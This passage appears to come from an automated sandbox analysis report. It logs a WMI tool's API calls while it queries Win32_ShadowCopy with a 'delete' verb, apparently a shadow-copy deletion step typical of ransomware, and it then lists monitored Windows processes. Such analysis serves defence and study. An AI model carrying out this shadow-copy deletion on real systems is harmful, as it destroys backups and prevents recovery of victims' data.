cchCount2=6) returned 3 [0067.739] lstrlenW (lpString="DELETE") returned 6 [0067.739] lstrlenW (lpString="delete") returned 6 [0067.739] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="DELETE", cchCount2=6) returned 2 [0067.739] malloc (_Size=0xc) returned 0xb62078 [0067.739] lstrlenA (lpString="") returned 0 [0067.739] malloc (_Size=0x2) returned 0x642860 [0067.739] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xcd26a2, cbMultiByte=-1, lpWideCharStr=0x642860, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0067.739] free (_Block=0x642860) [0067.739] malloc (_Size=0xc) returned 0xb620c0 [0067.739] lstrlenA (lpString="") returned 0 [0067.739] malloc (_Size=0x2) returned 0x642860 [0067.739] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xcd26a2, cbMultiByte=-1, lpWideCharStr=0x642860, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0067.739] free (_Block=0x642860) [0067.739] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0067.739] malloc (_Size=0x3e) returned 0x64ff68 [0067.739] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0067.739] wcstok (in: _String="Select * from Win32_ShadowCopy", _Delimiter=" ", _Context=0x34b1e99 | out: _String="Select", _Context=0x34b1e99) returned="Select" [0067.739] malloc (_Size=0xc) returned 0xb62168 [0067.739] free (_Block=0xb620c0) [0067.739] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x34b1e99 | out: _String=0x0, _Context=0x34b1e99) returned="*" [0067.739] lstrlenW (lpString="FROM") returned 4 [0067.739] lstrlenW (lpString="*") returned 1 [0067.740] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="*", cchCount1=1, lpString2="FROM", cchCount2=4) returned 1 [0067.740] malloc (_Size=0xc) returned 0xb620c0 [0067.740] free (_Block=0xb62168) [0067.740] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x34b1e99 | out: _String=0x0, _Context=0x34b1e99) returned="from" [0067.740] lstrlenW (lpString="FROM") returned 4 [0067.740] lstrlenW (lpString="from") returned 4 [0067.740] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="from", cchCount1=4, lpString2="FROM", cchCount2=4) returned 2 [0067.740] malloc (_Size=0xc) returned 0xb62168 [0067.740] free (_Block=0xb620c0) [0067.740] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x34b1e99 | out: _String=0x0, _Context=0x34b1e99) returned="Win32_ShadowCopy" [0067.740] malloc (_Size=0xc) returned 0xb620c0 [0067.740] free (_Block=0xb62168) [0067.740] free (_Block=0x64ff68) [0067.740] malloc (_Size=0xc) returned 0xb62168 [0067.740] malloc (_Size=0xc) returned 0xb620a8 [0067.740] SysStringLen (param_1="SELECT * FROM ") returned 0xe [0067.740] SysStringLen (param_1="Win32_ShadowCopy") returned 0x10 [0067.740] free (_Block=0xb62078) [0067.741] free (_Block=0xb62168) [0067.741] ??0CHString@@QAE@XZ () returned 0x12f55c [0067.741] GetCurrentThreadId () returned 0xee4 [0067.741] malloc (_Size=0xc) returned 0xb62168 [0067.741] malloc (_Size=0xc) returned 0xb62078 [0067.741] malloc (_Size=0xc) returned 0xb62108 [0067.741] malloc (_Size=0xc) returned 0xb62120 [0067.741] malloc (_Size=0xc) returned 0xb62138 [0067.741] SysStringLen (param_1="\\\\") returned 0x2 [0067.741] SysStringLen (param_1="XDUWTFONO") returned 0x9 [0067.741] malloc (_Size=0xc) returned 0xb62150 [0067.741] SysStringLen (param_1="\\\\XDUWTFONO") returned 0xb [0067.741] SysStringLen (param_1="\\") returned 0x1 [0067.741] malloc (_Size=0xc) returned 0xb62180 [0067.741] SysStringLen (param_1="\\\\XDUWTFONO\\") returned 0xc [0067.741] SysStringLen (param_1="ROOT\\CIMV2") returned 0xa [0067.741] free (_Block=0xb62150) [0067.742] free (_Block=0xb62138) [0067.742] free (_Block=0xb62120) [0067.742] free (_Block=0xb62108) [0067.742] free (_Block=0xb62078) [0067.742] free (_Block=0xb62168) [0067.742] malloc (_Size=0xc) returned 0xb62168 [0067.742] malloc (_Size=0xc) returned 0xb62078 [0067.742] malloc (_Size=0xc) returned 0xb62108 [0067.742] WbemLocator:IWbemLocator:ConnectServer (in: This=0xb20828, strNetworkResource="\\\\XDUWTFONO\\ROOT\\CIMV2", strUser=0x0, strPassword=0x0, strLocale="ms_409", lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0xd1c204 | out: ppNamespace=0xd1c204*=0xb2d0bc) returned 0x0 [0067.751] free (_Block=0xb62108) [0067.751] free (_Block=0xb62078) [0067.751] free (_Block=0xb62168) [0067.751] CoSetProxyBlanket (pProxy=0xb2d0bc, dwAuthnSvc=0xffffffff, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x0) returned 0x0 [0067.751] free (_Block=0xb62180) [0067.751] ??1CHString@@QAE@XZ () returned 0x74c20504 [0067.751] ??0CHString@@QAE@XZ () returned 0x12f554 [0067.751] GetCurrentThreadId () returned 0xee4 [0067.751] malloc (_Size=0xc) returned 0xb62180 [0067.751] lstrlenA (lpString="") returned 0 [0067.752] malloc (_Size=0x2) returned 0x642860 [0067.752] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xcd26a2, cbMultiByte=-1, lpWideCharStr=0x642860, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0067.752] free (_Block=0x642860) [0067.752] SysStringLen (param_1="SELECT * FROM Win32_ShadowCopy") returned 0x1e [0067.752] SysStringLen (param_1="") returned 0x0 [0067.752] free (_Block=0xb62180) [0067.752] malloc (_Size=0xc) returned 0xb62180 [0067.752] IWbemServices:ExecQuery (in: This=0xb2d0bc, strQueryLanguage="WQL", strQuery="SELECT * FROM Win32_ShadowCopy", lFlags=0, pCtx=0x0, ppEnum=0x12f550 | out: ppEnum=0x12f550*=0x0) returned 0x80041014 [0069.707] free (_Block=0xb62180) [0069.707] _CxxThrowException () [0069.707] malloc (_Size=0x10) returned 0xb62180 [0069.707] ??1CHString@@QAE@XZ () returned 0x74c20504 [0069.707] free (_Block=0xb620c0) [0069.707] free (_Block=0xb620a8) [0069.707] GetCurrentThreadId () returned 0xee4 [0069.707] ??0CHString@@QAE@PBG@Z () returned 0x12f614 [0069.707] ??YCHString@@QAEABV0@PBG@Z () returned 0x12f614 [0069.707] ??0CHString@@QAE@XZ () returned 0x12f4d8 [0069.707] malloc (_Size=0xc) returned 0xb620a8 [0069.707] malloc (_Size=0xc) returned 0xb620c0 [0069.707] SysStringLen (param_1="") returned 0x0 [0069.707] free (_Block=0xb620a8) [0069.707] CoCreateInstance (in: rclsid=0xcd6cb0*(Data1=0xeb87e1bd, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), pUnkOuter=0x0, dwClsContext=0x1, riid=0xcd6c00*(Data1=0xeb87e1bc, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), ppv=0xd1c21c | out: ppv=0xd1c21c*=0xb20810) returned 0x0 [0069.711] WbemStatusCodeText:IWbemStatusCodeText:GetErrorCodeText (in: This=0xb20810, hRes=0x80041014, LocaleId=0x0, lFlags=0, MessageText=0x12f4f0 | out: MessageText=0x12f4f0*="Initialization failure\r\n") returned 0x0 [0069.716] free (_Block=0xb620c0) [0069.716] malloc (_Size=0xc) returned 0xb620c0 [0069.716] WbemStatusCodeText:IWbemStatusCodeText:GetFacilityCodeText (in: This=0xb20810, hRes=0x80041014, LocaleId=0x0, lFlags=0, MessageText=0x12f514 | out: MessageText=0x12f514*="WMI") returned 0x0 [0069.716] malloc (_Size=0xc) returned 0xb620a8 [0069.717] lstrlenW (lpString="WMI") returned 3 [0069.717] lstrlenW (lpString="Wbem") returned 4 [0069.717] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="Wbem", cchCount1=4, lpString2="WMI", cchCount2=3) returned 1 [0069.717] lstrlenW (lpString="WMI") returned 3 [0069.717] lstrlenW (lpString="WMI") returned 3 [0069.717] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="WMI", cchCount1=3, lpString2="WMI", cchCount2=3) returned 2 [0069.717] WbemStatusCodeText:IUnknown:Release (This=0xb20810) returned 0x0 [0069.717] ??1CHString@@QAE@XZ () returned 0x74c20504 [0069.717] LoadStringW (in: hInstance=0x0, uID=0xb7f3, lpBuffer=0x12ed40, cchBufferMax=1024 | out: lpBuffer="ERROR:\r\nDescription = %1") returned 0x18 [0069.717] FormatMessageW (in: dwFlags=0x2500, lpSource=0x12ed40, dwMessageId=0x0, dwLanguageId=0x400, lpBuffer=0x12ed3c, nSize=0x0, Arguments=0x12ed28 | out: lpBuffer="潸GERROR:\r\nDescription = %1") returned 0x2e [0069.717] malloc (_Size=0xc) returned 0xb62168 [0069.717] LocalFree (hMem=0x476f78) returned 0x0 [0069.717] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="ERROR:\r\nDescription = Initialization failure\r\n", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 47 [0069.717] malloc (_Size=0x2f) returned 0xb62448 [0069.717] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="ERROR:\r\nDescription = Initialization failure\r\n", cchWideChar=-1, lpMultiByteStr=0xb62448, cbMultiByte=47, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ERROR:\r\nDescription = Initialization failure\r\n", lpUsedDefaultChar=0x0) returned 47 [0069.717] fprintf (in: _File=0x76be2940, _Format="%s" | out: _File=0x76be2940) returned 46 [0069.726] fflush (in: _File=0x76be2940 | out: _File=0x76be2940) returned 0 [0069.726] free (_Block=0xb62448) [0069.726] free (_Block=0xb62168) [0069.727] free (_Block=0xb620a8) [0069.727] free (_Block=0xb620c0) [0069.727] ??1CHString@@QAE@XZ () returned 0x1 [0069.727] ??0CHString@@QAE@PBG@Z () returned 0x12f634 [0069.727] ??YCHString@@QAEABV0@PBG@Z () returned 0x12f634 [0069.727] GetCurrentThreadId () returned 0xee4 [0069.727] ??1CHString@@QAE@XZ () returned 0x1 [0069.727] WbemLocator:IUnknown:Release (This=0xb2d0bc) returned 0x0 [0069.728] ?Empty@CHString@@QAEXXZ () returned 0x74c20504 [0069.729] free (_Block=0xb62180) [0069.729] _kbhit () returned 0x0 [0069.733] free (_Block=0x643228) [0069.733] free (_Block=0xb62060) [0069.733] free (_Block=0x64fe88) [0069.733] free (_Block=0x64fe70) [0069.733] free (_Block=0x64fe58) [0069.734] free (_Block=0x6431c8) [0069.734] free (_Block=0x64eb88) [0069.734] free (_Block=0x64ff30) [0069.734] free (_Block=0xb620d8) [0069.734] free (_Block=0x64feb0) [0069.734] free (_Block=0xb620f0) [0069.734] free (_Block=0x64ebc8) [0069.734] free (_Block=0x64ff20) [0069.734] free (_Block=0x642ee0) [0069.734] free (_Block=0x64fef8) [0069.734] ?Empty@CHString@@QAEXXZ () returned 0x74c20504 [0069.734] free (_Block=0x6431f8) [0069.734] free (_Block=0x64eba8) [0069.734] free (_Block=0xb62090) [0069.734] free (_Block=0x642788) [0069.734] free (_Block=0x6427d0) [0069.734] free (_Block=0x642818) [0069.734] free (_Block=0x64ebe8) [0069.734] free (_Block=0x6428c8) [0069.734] free (_Block=0x642ec8) [0069.734] free (_Block=0x64e8c8) [0069.734] free (_Block=0x642eb0) [0069.734] free (_Block=0x64e8a8) [0069.734] free (_Block=0x642e98) [0069.734] free (_Block=0x64e888) [0069.734] free (_Block=0x642a10) [0069.734] free (_Block=0x642a28) [0069.734] free (_Block=0x6429d8) [0069.734] free (_Block=0x6429f0) [0069.734] free (_Block=0x642a48) [0069.735] free (_Block=0x642a60) [0069.735] free (_Block=0x642a80) [0069.735] free (_Block=0x64e868) [0069.735] free (_Block=0x642968) [0069.735] free (_Block=0x642980) [0069.735] free (_Block=0x642930) [0069.735] free (_Block=0x642948) [0069.735] free (_Block=0x6429a0) [0069.735] free (_Block=0x6429b8) [0069.735] free (_Block=0x6428f8) [0069.735] free (_Block=0x642910) [0069.735] free (_Block=0x642880) [0069.735] free (_Block=0x643fb8) [0069.735] free (_Block=0xb604a0) [0069.735] WbemLocator:IUnknown:Release (This=0xb20828) returned 0x2 [0069.735] WbemLocator:IUnknown:Release (This=0xb2d064) returned 0x0 [0069.739] WbemLocator:IUnknown:Release (This=0xb2d00c) returned 0x0 [0069.739] WbemLocator:IUnknown:Release (This=0xb20828) returned 0x1 [0069.739] ?Empty@CHString@@QAEXXZ () returned 0x74c20504 [0069.739] WbemLocator:IUnknown:Release (This=0xb20828) returned 0x0 [0069.740] free (_Block=0x64fdf8) [0069.740] free (_Block=0x64fe10) [0069.740] free (_Block=0x64eb48) [0069.740] free (_Block=0x64fe28) [0069.740] free (_Block=0x64fe40) [0069.740] free (_Block=0x64eb68) [0069.740] free (_Block=0x64fcd8) [0069.740] free (_Block=0x64fcf0) [0069.740] free (_Block=0x64ea88) [0069.740] free (_Block=0x64fd08) [0069.740] free (_Block=0x64fd20) [0069.740] free (_Block=0x64eaa8) [0069.740] free (_Block=0x64fc78) [0069.740] free (_Block=0x64fc90) [0069.740] free (_Block=0x64ea48) [0069.740] free (_Block=0x64fca8) [0069.740] free (_Block=0x64fcc0) [0069.740] free (_Block=0x64ea68) [0069.740] free (_Block=0x64fd98) [0069.741] free (_Block=0x64fdb0) [0069.741] free (_Block=0x64eb08) [0069.741] free (_Block=0x64fdc8) [0069.741] free (_Block=0x64fde0) [0069.741] free (_Block=0x64eb28) [0069.741] free (_Block=0x64fc18) [0069.741] free (_Block=0x64fc30) [0069.741] free (_Block=0x64ea08) [0069.741] free (_Block=0x64fc48) [0069.741] free (_Block=0x64fc60) [0069.741] free (_Block=0x64ea28) [0069.741] free (_Block=0x64fd38) [0069.742] free (_Block=0x64fd50) [0069.742] free (_Block=0x64eac8) [0069.742] free (_Block=0x64fd68) [0069.742] free (_Block=0x64fd80) [0069.742] free (_Block=0x64eae8) [0069.742] free (_Block=0x64fb88) [0069.742] free (_Block=0x64fba0) [0069.742] free (_Block=0x64e9a8) [0069.742] free (_Block=0x643160) [0069.742] free (_Block=0x643178) [0069.742] free (_Block=0x64e908) [0069.742] free (_Block=0x642f28) [0069.742] free (_Block=0x642f40) [0069.742] free (_Block=0x64e8e8) [0069.742] free (_Block=0x64faf8) [0069.743] free (_Block=0x64fb10) [0069.743] free (_Block=0x64e948) [0069.743] free (_Block=0x64fbb8) [0069.743] free (_Block=0x64fbd0) [0069.743] free (_Block=0x64e9c8) [0069.743] free (_Block=0x64fac8) [0069.743] free (_Block=0x64fae0) [0069.743] free (_Block=0x64e928) [0069.743] free (_Block=0x64fb28) [0069.743] free (_Block=0x64fb40) [0069.743] free (_Block=0x64e968) [0069.743] free (_Block=0x64fb58) [0069.743] free (_Block=0x64fb70) [0069.743] free (_Block=0x64e988) [0069.743] free (_Block=0x64fbe8) [0069.743] free (_Block=0x64fc00) [0069.744] free (_Block=0x64e9e8) [0069.744] CoUninitialize () [0072.158] exit (_Code=-2147217388) [0072.158] free (_Block=0x643190) [0072.158] free (_Block=0x643e88) [0072.158] ??1CHString@@QAE@XZ () returned 0x74c20504 [0072.158] free (_Block=0x643000) [0072.158] free (_Block=0x6428e8) [0072.158] free (_Block=0x643e68) [0072.158] free (_Block=0x643e48) [0072.158] free (_Block=0x643e18) [0072.158] free (_Block=0x643df8) [0072.158] free (_Block=0x643dc8) [0072.158] free (_Block=0x6413d8) [0072.158] free (_Block=0x6413b8) [0072.158] ??1CHString@@QAE@XZ () returned 0x74c20504 [0072.158] free (_Block=0x642f58) Thread: id = 181 os_tid = 0xf04 Thread: id = 236 os_tid = 0xff0 Thread: id = 237 os_tid = 0xff4 Thread: id = 238 os_tid = 0xff8 Thread: id = 239 os_tid = 0xffc Process: id = "58" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x8f04000" os_pid = "0x370" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "rpc_server" parent_id = "15" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\system32\\svchost.exe -k netsvcs" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xa], "NT SERVICE\\LanmanServer" [0xa], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xa], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xa], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xa], "NT SERVICE\\wuauserv" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000cc7d" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 134 os_tid = 0xe10 Thread: id = 135 os_tid = 0xe0c Thread: id = 136 os_tid = 0xe08 Thread: id = 137 os_tid = 0xe04 Thread: id = 138 os_tid = 0xcfc Thread: id = 139 os_tid = 0x770 Thread: id = 140 os_tid = 0x15c Thread: id = 141 os_tid = 0x388 Thread: id = 142 os_tid = 0x514 Thread: id = 143 os_tid = 0x638 Thread: id = 144 os_tid = 0x794 Thread: id = 145 os_tid = 0x7a4 Thread: id = 146 os_tid = 0x6d0 Thread: id = 147 os_tid = 0x4e4 Thread: id = 148 os_tid = 0x504 Thread: id = 149 os_tid = 0x7ac Thread: id = 150 os_tid = 0x630 Thread: id = 151 os_tid = 0x524 Thread: id = 152 os_tid = 0x64 Thread: id = 153 os_tid = 0x40c Thread: id = 154 os_tid = 0x798 Thread: id = 155 os_tid = 0x7dc Thread: id = 156 os_tid = 0x344 Thread: id = 157 os_tid = 0x7e8 Thread: id = 158 os_tid = 0x11c Thread: id = 159 os_tid = 0x41c Thread: id = 160 os_tid = 0x618 Thread: id = 161 os_tid = 0x5fc Thread: id = 162 os_tid = 0x5f4 Thread: id = 163 os_tid = 0x5ec Thread: id = 164 os_tid = 0x5d0 Thread: id = 165 os_tid = 0x5c4 Thread: id = 166 os_tid = 0x5c0 Thread: id = 167 os_tid = 0x59c Thread: id = 168 os_tid = 0x480 Thread: id = 169 os_tid = 0x45c Thread: id = 170 os_tid = 0x43c Thread: id = 171 os_tid = 0x414 Thread: id = 172 os_tid = 0x410 Thread: id = 173 os_tid = 0xf0 Thread: id = 174 os_tid = 0xc8 Thread: id = 175 os_tid = 0x3f4 Thread: id = 176 os_tid = 0x3e8 Thread: id = 177 os_tid = 0x39c Thread: id = 178 os_tid = 0x390 Thread: id = 179 os_tid = 0x37c Thread: id = 180 os_tid = 0x374 Thread: id = 207 os_tid = 0xf70 Thread: id = 208 os_tid = 0xf74 Thread: id = 209 os_tid = 0xf78 Thread: id = 213 os_tid = 0xf88 Thread: id = 214 os_tid = 0xf8c Thread: id = 226 os_tid = 0xfbc Thread: id = 227 os_tid = 0xfc0 Thread: id = 274 os_tid = 0x67c Thread: id = 281 os_tid = 0xcac Thread: id = 282 os_tid = 0xc04 Thread: id = 316 os_tid = 0xd0c Thread: id = 317 os_tid = 0xd7c Process: id = "59" image_name = "wmiprvse.exe" filename = "c:\\windows\\system32\\wbem\\wmiprvse.exe" page_root = "0x41200000" os_pid = "0xb9c" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "58" os_parent_pid = "0x250" cmd_line = "C:\\Windows\\system32\\wbem\\wmiprvse.exe -secured -Embedding" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Network Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "WMI (Network Service)" [0xf], "NT AUTHORITY\\Logon Session 00000000:0005a1f4" [0xc000000f] Thread: id = 240 os_tid = 0xfdc Thread: id = 241 os_tid = 0xfd8 Thread: id = 242 os_tid = 0xfd4 Thread: id = 243 os_tid = 0xbc0 Thread: id = 244 os_tid = 0xbbc Thread: id = 245 os_tid = 0xbb8 Thread: id = 246 os_tid = 0xbb4 Thread: id = 247 os_tid = 0xbb0 Thread: id = 248 os_tid = 0xbac Thread: id = 249 os_tid = 0xba8 Thread: id = 250 os_tid = 0xba4 Thread: id = 251 os_tid = 0xba0 Thread: id = 284 os_tid = 0xc7c Thread: id = 325 os_tid = 0x944 Process: id = "60" image_name = "wmiprvse.exe" filename = "c:\\windows\\system32\\wbem\\wmiprvse.exe" page_root = "0x4aefb000" os_pid = "0xb74" os_integrity_level = "0x4000" os_privileges = "0xe60b1e990" monitor_reason = "rpc_server" parent_id = "58" os_parent_pid = "0x250" cmd_line = "C:\\Windows\\system32\\wbem\\wmiprvse.exe -Embedding" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xe], "NT SERVICE\\LanmanServer" [0xe], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xe], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xe], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xe], "NT SERVICE\\wuauserv" [0xe], "NT AUTHORITY\\Logon Session 00000000:0000cc7d" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 252 os_tid = 0xb94 Thread: id = 253 os_tid = 0xb90 Thread: id = 254 os_tid = 0xb8c Thread: id = 255 os_tid = 0xb88 Thread: id = 256 os_tid = 0xb84 Thread: id = 257 os_tid = 0xb80 Thread: id = 258 os_tid = 0xb7c Thread: id = 259 os_tid = 0xb78 Thread: id = 273 os_tid = 0xc98 Thread: id = 323 os_tid = 0xe58 Process: id = "61" image_name = "wmiprvse.exe" filename = "c:\\windows\\syswow64\\wbem\\wmiprvse.exe" page_root = "0x29413000" os_pid = "0x700" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "58" os_parent_pid = "0x250" cmd_line = "C:\\Windows\\sysWOW64\\wbem\\wmiprvse.exe -secured -Embedding" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Network Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "WMI (Network Service)" [0xf], "NT AUTHORITY\\Logon Session 00000000:00079a81" [0xc000000f] Thread: id = 260 os_tid = 0x478 Thread: id = 262 os_tid = 0x808 Thread: id = 263 os_tid = 0x974 Thread: id = 264 os_tid = 0x954 Thread: id = 265 os_tid = 0xbf0 Thread: id = 266 os_tid = 0x994 Thread: id = 267 os_tid = 0x934 Thread: id = 268 os_tid = 0xbd0 Thread: id = 269 os_tid = 0xaa4 Thread: id = 321 os_tid = 0xeb8 Process: id = "62" image_name = "wmiadap.exe" filename = "c:\\windows\\system32\\wbem\\wmiadap.exe" page_root = "0x4752f000" os_pid = "0x7a8" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "58" os_parent_pid = "0x370" cmd_line = "wmiadap.exe /F /T /R" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xe], "NT SERVICE\\LanmanServer" [0xe], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xe], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xe], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xe], "NT SERVICE\\wuauserv" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000cc7d" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 275 os_tid = 0x744 Thread: id = 276 os_tid = 0x670 Thread: id = 277 os_tid = 0x6ac Thread: id = 278 os_tid = 0x5a8 Thread: id = 279 os_tid = 0x5c8 Thread: id = 280 os_tid = 0x738 Process: id = "63" image_name = "explorer.exe" filename = "c:\\windows\\explorer.exe" page_root = "0x3d87f000" os_pid = "0xb5c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "rpc_server" parent_id = "55" os_parent_pid = "0x1ac" cmd_line = "explorer.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 285 os_tid = 0xdb4 Thread: id = 286 os_tid = 0xdac Thread: id = 287 os_tid = 0xd6c Thread: id = 288 os_tid = 0xca0 Thread: id = 289 os_tid = 0xddc Thread: id = 290 os_tid = 0xdc8 Thread: id = 291 os_tid = 0xe18 Thread: id = 292 os_tid = 0x9a4 Thread: id = 293 os_tid = 0xdc4 Thread: id = 294 os_tid = 0xdd4 Thread: id = 295 os_tid = 0x8e8 Thread: id = 296 os_tid = 0xb44 Thread: id = 297 os_tid = 0x688 Thread: id = 298 os_tid = 0xcd0 Thread: id = 299 os_tid = 0xaf4 Thread: id = 300 os_tid = 0xad0 Thread: id = 301 os_tid = 0xc34 Thread: id = 302 os_tid = 0x10c Thread: id = 303 os_tid = 0xab0 Thread: id = 304 os_tid = 0xcb4 Thread: id = 305 os_tid = 0xcb0 Thread: id = 306 os_tid = 0x6fc Thread: id = 307 os_tid = 0x324 Thread: id = 308 os_tid = 0x884 Thread: id = 309 os_tid = 0xc0 Thread: id = 310 os_tid = 0x4f4 Thread: id = 311 os_tid = 0xaa0 Thread: id = 312 os_tid = 0x9b0 Thread: id = 313 os_tid = 0xc44 Thread: id = 314 os_tid = 0xc40 Thread: id = 315 os_tid = 0xd14 Thread: id = 318 os_tid = 0xe60 Thread: id = 319 os_tid = 0xc84